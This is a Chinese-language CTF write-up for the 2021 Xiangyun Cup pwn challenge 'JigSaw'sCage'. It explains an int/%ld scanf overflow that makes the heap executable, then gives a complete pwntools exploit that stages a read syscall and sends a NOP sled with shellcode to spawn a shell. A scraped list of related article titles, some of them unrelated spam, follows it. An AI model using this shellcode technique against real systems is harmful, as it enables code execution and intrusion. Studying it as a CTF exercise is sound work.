2021 祥云杯 pwn-JigSaw’sCage

这道题属实是没有发现漏洞点在哪里,所以看了一下wm的wjh师傅的wp,发现漏洞出现下图

v1是int,但scanf是ld,所以溢出了4个字节,这就导致了可以控制v2的值,这样只需要将v1改成0,v2改成大于14的值即可调用mprotect分配rwx权限到heap地址上

并且在test功能里可以运行shellcode

shellcode每次只能写比较小的字节,所以得分开写,笔者一开始的思路是shellcode分段写,但是比较麻烦,wjh师傅的思路值得学习
在heap_ptrv1;这里是call rdx,前面是mov rax, 0,调试到这里看一下寄存器是什么情况

rdx是堆地址,rax是read的系统调用号,所以可以构造一个shellcode使得rdi为0,rsi为heap地址,rdx为0x1000,这样就是read(0, heap_addr, 0x1000)。
程序又刚好在这里执行所以可以调用shellcraft.sh()让程序在执行过程中被改成shellcraft.sh()。wjh直接用nop滑到了shellcode

from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './JigSAW'li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')context.terminal = ['tmux','splitw','-h']debug = 0
if debug:r = remote()
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)menu = 'Choice : \n'def add(index):r.sendlineafter(menu, '1')r.sendlineafter('Index? : \n', str(index))def edit(index, content):r.sendlineafter(menu, '2')r.sendlineafter('Index? : \n', str(index))r.sendafter('iNput:\n', content)def test(idx):r.sendlineafter(menu, '4')r.sendlineafter('Index? : ', str(idx))r.sendlineafter('Name:', 'z1r0')
r.sendlineafter('Make your Choice:', str(0xff00000000))add(0)p1 = '''
xor rdi, rdi
mov rsi, rdx
mov rdx, 0x1000
syscall
'''edit(0, asm(p1))test(0)r.send(b'\x90' * 20 + asm(shellcraft.sh()))
r.interactive()

2021 祥云杯 pwn-JigSaw’sCage相关推荐

  1. 2021祥云杯PassWordBox_ProVersion

    目录 前言: 程序分析 大致思路: 利用链: _IO_wfile_overflow _IO_wfile_underflow_mmap: exp: 前言: 复现一下2021祥云杯PassWordBox_ ...

  2. 2021 祥云杯 pwn-PassWordBox_ProVersion

    2021 祥云杯 pwn-PassWordBox_ProVersion 这里就没有off by null了,size也只能是large bin的,那肯定就是large bin attack了,libc ...

  3. 2021 祥云杯 pwn-note

    2021 祥云杯 pwn-note 这是一道scanf任意读写的pwn题 漏洞点发生在上图 在第一个图那里下个断点,查看stack时发现%11$p这里有一个stdout,这个给了我们泄露libc的机会 ...

  4. [2021祥云杯]secrets_of_admin

    [2021祥云杯]secrets_of_admin 文章目录 [2021祥云杯]secrets_of_admin 代码分析 /的POST方式 /admin的GET方式 /admin的POST方式 /a ...

  5. 2021祥云杯部分pwn

    note 格式化字符串 本题考查了scanf的格式化字符串利用.一般我们用的都是printf的格式化字符串.这里是scanf 踩坑 一开始没有注意到sendline会多发一个换行符,导致往栈上$7的s ...

  6. 2021祥云杯 CTF pwn解 wp

    前言:题都不难,我好气,这次被大佬带飞,队里的pwn手都是神级别的,这里出了三道题,如果我不是sha,我应该能出五道,可是我好菜,这里贴出一下 note: 思路:自己构建格式化字符串漏洞,自己打,先打 ...

  7. 2021祥云杯部分wp

    祥云杯2021 目前只做了两道题(没办法 tcl... MISC-鸣雏恋 下载下来是个word,打开只有一句话 不太对劲,放到010里看一看发现文件头50 4B 03 04 经典压缩包了,文件后缀改成 ...

  8. 2021长城杯pwn部分wp

    前言: 就, 除了vmpwn都是基础glibc的heap题 king_in_heap_1: delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体 ...

  9. 2021 长城杯 pwn K1ng_in_h3Ap_I

    libc是2.23 菜单 add free 显然是有uaf. edit 就是输入 输入函数其实还有off by one. 有个后门 我们的思路就是简单的说因为有uaf但是没有show,所以我们就直接攻 ...

最新文章

  1. 傅里叶变换才是本质?谷歌这项研究GPU上快7倍、TPU上快2倍
  2. 利用yum下载rpm包并批量安装
  3. python可以处理什么文件夹_Python处理文件和文件夹的10条命令
  4. 求时间差的sql语句。 比如如下数据
  5. springboot创建单个对象
  6. mac如何将本地服务暴露到外网?
  7. halcon 将数据保存到excel_Python保存数据到Excel文件的多个sheet
  8. 蓝桥杯-代码-数字三角形
  9. BugkuCTF-WEB题bp
  10. 取消chrome浏览器下input和textarea的默认样式
  11. React 第九章 表单的使用
  12. (day 33 - 位运算 )剑指 Offer 56 - II. 数组中数字出现的次数 II
  13. 超图(idesktop iserver10) 处理osgb倾斜摄影和tif并 发布 加载 ---2---连续更新
  14. GoLang获取硬盘序列号
  15. 已知两点和弧长lisp_CAD插件——已知两点和弧长如何画圆弧?
  16. ResNet 残差神经网络(小白版)
  17. 蓝牙防丢器原理和作用
  18. Oracle Database 11g SQL开发指南store模式脚本
  19. 云服务器 架设传奇_怎么架设传奇服务器?
  20. SQL Server 2019下载及安装详细教程

热门文章

  1. 算法基础--优惠券问题(贪心算法)
  2. Linux:Makefile条件判断ifeq、ifneq、ifdef、ifndef的含义
  3. 利用ICMP协议反弹shell
  4. 2023华为od机试真题B卷【阿里巴巴找黄金宝箱(V)】Java 实现
  5. QT5.14——模拟交通灯(一)
  6. okhttp3关于tag取消请求
  7. 陈荣根:力邀全球“连续创业者”对接前沿技术项目
  8. SpringBoot实现本地上传Word文档并在线预览
  9. 葛优儿时可爱照竟如此帅气文章和姚笛曾在《裸婚时代》中扮演一对小夫妻
  10. css月亮和星星卡通效果